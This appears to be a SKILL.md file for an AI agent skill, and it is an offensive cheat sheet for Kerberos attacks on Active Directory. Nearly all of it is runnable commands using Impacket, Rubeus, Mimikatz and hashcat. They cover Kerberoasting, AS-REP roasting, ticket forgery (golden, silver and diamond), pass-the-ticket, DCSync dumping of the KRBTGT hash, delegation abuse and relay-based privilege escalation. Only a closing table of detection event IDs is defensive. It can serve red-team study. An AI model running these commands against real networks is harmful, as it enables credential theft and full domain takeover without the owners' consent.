--- name: cyberstrikeus/kerberos-attacks source: https://app.decimal.ai/s/cyberstrikeus-kerberos-attacks@1/SKILL.md source_sha256: 609c405b9b65 --- # Kerberos Attack Techniques ## Kerberos Authentication Flow ``` Client KDC (DC) Service │ │ │ │──AS-REQ (username)─────>│ │ │<─AS-REP (TGT)───────────│ │ │ │ │ │──TGS-REQ (TGT, SPN)────>│ │ │<─TGS-REP (TGS)──────────│ │ │ │ │ │──AP-REQ (TGS)──────────────────────────────────────>│ │<─AP-REP────────────────────────────────────────────│ ``` ## Attack Categories ### 1. Kerberoasting Request TGS tickets for service accounts and crack offline. ```bash # Impacket - GetUserSPNs GetUserSPNs.py domain.local/user:pass -dc-ip 10.0.0.1 -request # Rubeus (Windows) Rubeus.exe kerberoast /outfile:hashes.txt # NetExec nxc ldap 10.0.0.1 -u user -p pass --kerberoasting kerberoast.txt # Targeting specific user GetUserSPNs.py domain.local/user:pass -dc-ip 10.0.0.1 -request-user svc_sql ``` **Crack Hashes:** ```bash # Hashcat hashcat -m 13100 hashes.txt wordlist.txt -r rules/best64.rule # John john --format=krb5tgs hashes.txt --wordlist=wordlist.txt ``` ### 2. AS-REP Roasting Attack accounts with "Do not require Kerberos preauthentication" enabled. ```bash # Find vulnerable users GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.0.0.1 -format hashcat # With credentials (query LDAP) GetNPUsers.py domain.local/user:pass -dc-ip 10.0.0.1 -request # Rubeus (Windows) Rubeus.exe asreproast /outfile:asrep.txt # NetExec nxc ldap 10.0.0.1 -u user -p pass --asreproast asrep.txt ``` **Crack Hashes:** ```bash # Hashcat hashcat -m 18200 asrep.txt wordlist.txt -r rules/best64.rule ``` ### 3. Pass-the-Ticket (PtT) Inject stolen Kerberos tickets into session. ```bash # Export tickets (Mimikatz) sekurlsa::tickets /export # Inject ticket (Mimikatz) kerberos::ptt ticket.kirbi # Rubeus inject Rubeus.exe ptt /ticket:base64_ticket # Linux - export ticket export KRB5CCNAME=/path/to/ticket.ccache # Convert kirbi to ccache ticketConverter.py ticket.kirbi ticket.ccache ``` ### 4. Overpass-the-Hash (Pass-the-Key) Request TGT using NTLM hash instead of password. ```bash # Rubeus Rubeus.exe asktgt /user:admin /rc4:NTLM_HASH /ptt # Impacket getTGT.py domain.local/admin -hashes :NTLM_HASH # With AES key getTGT.py domain.local/admin -aesKey AES_KEY ``` ### 5. Golden Ticket Forge TGT using KRBTGT hash (requires domain compromise). ```bash # Get KRBTGT hash (DCSync) secretsdump.py domain.local/admin@10.0.0.1 -just-dc-user krbtgt # Create Golden Ticket (Mimikatz) kerberos::golden /user:fakeadmin /domain:domain.local \ /sid:S-1-5-21-DOMAIN-SID /krbtgt:KRBTGT_HASH /ptt # Impacket ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-DOMAIN-SID \ -domain domain.local fakeadmin # Use ticket export KRB5CCNAME=fakeadmin.ccache psexec.py domain.local/fakeadmin@dc01 -k -no-pass ``` ### 6. Silver Ticket Forge TGS for specific service using service account hash. ```bash # Get service account hash secretsdump.py domain.local/admin@10.0.0.1 -just-dc-user svc_sql$ # Create Silver Ticket for CIFS (Mimikatz) kerberos::golden /user:fakeadmin /domain:domain.local \ /sid:S-1-5-21-DOMAIN-SID /target:server.domain.local \ /service:cifs /rc4:SERVICE_NTLM /ptt # Impacket - Silver ticket for MSSQL ticketer.py -nthash SERVICE_NTLM -domain-sid S-1-5-21-DOMAIN-SID \ -domain domain.local -spn MSSQLSvc/sql01.domain.local:1433 admin ``` **Common Service SPNs:** | Service | SPN | |---------|-----| | SMB/CIFS | cifs/hostname | | MSSQL | MSSQLSvc/hostname:1433 | | HTTP | http/hostname | | LDAP | ldap/hostname | | HOST | host/hostname | ### 7. Diamond Ticket Modify legitimate TGT (harder to detect than Golden Ticket). ```bash # Rubeus (requires KRBTGT AES key) Rubeus.exe diamond /krbkey:AES256_KEY /user:user /password:pass \ /enctype:aes /ticketuser:fakeadmin /ticketuserid:500 /groups:512 /ptt ``` ### 8. Delegation Attacks #### Unconstrained Delegation ```bash # Find unconstrained delegation computers Get-ADComputer -Filter {TrustedForDelegation -eq $true} # Coerce authentication (PrinterBug) SpoolSample.exe dc01.domain.local attacker.domain.local # Capture and use TGT Rubeus.exe monitor /interval:1 Rubeus.exe ptt /ticket:base64_tgt ``` #### Constrained Delegation ```bash # S4U2Self + S4U2Proxy getST.py -spn cifs/target.domain.local domain.local/svc_constrained:pass \ -impersonate administrator # Rubeus Rubeus.exe s4u /user:svc_constrained /rc4:HASH \ /impersonateuser:administrator /msdsspn:cifs/target.domain.local /ptt ``` #### Resource-Based Constrained Delegation (RBCD) ```bash # Add computer account addcomputer.py domain.local/user:pass -method LDAPS -computer-name FAKE$ -computer-pass Pass123 # Set msDS-AllowedToActOnBehalfOfOtherIdentity rbcd.py -delegate-to TARGET$ -delegate-from FAKE$ -dc-ip 10.0.0.1 domain.local/user:pass # Get ticket getST.py -spn cifs/target.domain.local domain.local/FAKE$:Pass123 -impersonate administrator # Use ticket export KRB5CCNAME=administrator.ccache smbexec.py domain.local/administrator@target.domain.local -k -no-pass ``` ### 9. Kerberos Relay Relay Kerberos authentication (KrbRelayUp, KrbRelay). ```bash # KrbRelayUp (local privilege escalation) KrbRelayUp.exe relay -Domain domain.local -CreateNewComputerAccount \ -ComputerName YOURCOMPUTER$ -ComputerPassword Password123 # Then use RBCD to escalate ``` ## Encryption Types | etype | Algorithm | Strength | | --------- | ---------- | ---------------- | | 0x17 (23) | RC4-HMAC | Weak (NTLM hash) | | 0x11 (17) | AES128-CTS | Strong | | 0x12 (18) | AES256-CTS | Strongest | ## Ticket Fields | Field | Description | | ---------- | ---------------------- | | cname | Client principal name | | crealm | Client realm | | sname | Service principal name | | srealm | Service realm | | enc-part | Encrypted ticket data | | authtime | Authentication time | | starttime | Ticket valid from | | endtime | Ticket expires | | renew-till | Renewal expiration | ## Detection Indicators | Attack | Event ID | Indicator | | ----------------- | -------- | -------------------------- | | Kerberoasting | 4769 | RC4 ticket requests | | AS-REP Roast | 4768 | Pre-auth disabled accounts | | Golden Ticket | 4769 | Non-existent users | | Silver Ticket | N/A | Direct service access | | Overpass-the-Hash | 4768 | NTLM in AS-REQ | | DCSync | 4662 | DS-Replication-Get-Changes |